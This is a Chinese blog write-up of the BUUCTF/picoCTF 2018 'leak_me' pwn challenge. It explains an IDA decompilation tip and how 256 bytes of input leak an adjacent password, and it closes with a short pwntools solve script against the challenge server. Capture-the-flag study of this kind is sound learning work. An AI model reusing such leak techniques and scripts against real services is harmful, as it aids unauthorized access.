[BUUCTF-pwn]——picoctf_2018_leak_me（内涵peak小知识）

最新推荐文章于 2021-11-20 14:32:13 发布

Y-peak

最新推荐文章于 2021-11-20 14:32:13 发布

阅读量360

点赞数

分类专栏： # BUUCTF

本文链接：https://blog.csdn.net/Y_peak/article/details/115298313

版权

89 篇文章 8 订阅

订阅专栏

[BUUCTF-pwn]——picoctf_2018_leak_me

题目没什么难度，但是可能反汇编的时候你们可能会出现一些问题。

pwn题，有时会碰到无法反汇编的情况，大多数情况下，都是call的位置报错，双击函数，按F5人为给它反汇编，再返回就可以了。不过有时候，是IDA栈指针的问题，大多数还是前者居多。

在IDA中，v6代表name s是password.距离0x100也就是256。

在这里插入图片描述

输入256个字符后，我们可以直接将password泄露出来。这样我们就可以在下面调用flag函数了。
在这里插入图片描述

写个小dome leek出来password再说。
在这里插入图片描述

from pwn import *
p = remote("node3.buuoj.cn",27223)
p.sendline('a')
p.recv()
p.sendline('a_reAllY_s3cuRe_p4s$word_f85406')

p.interactive()

关注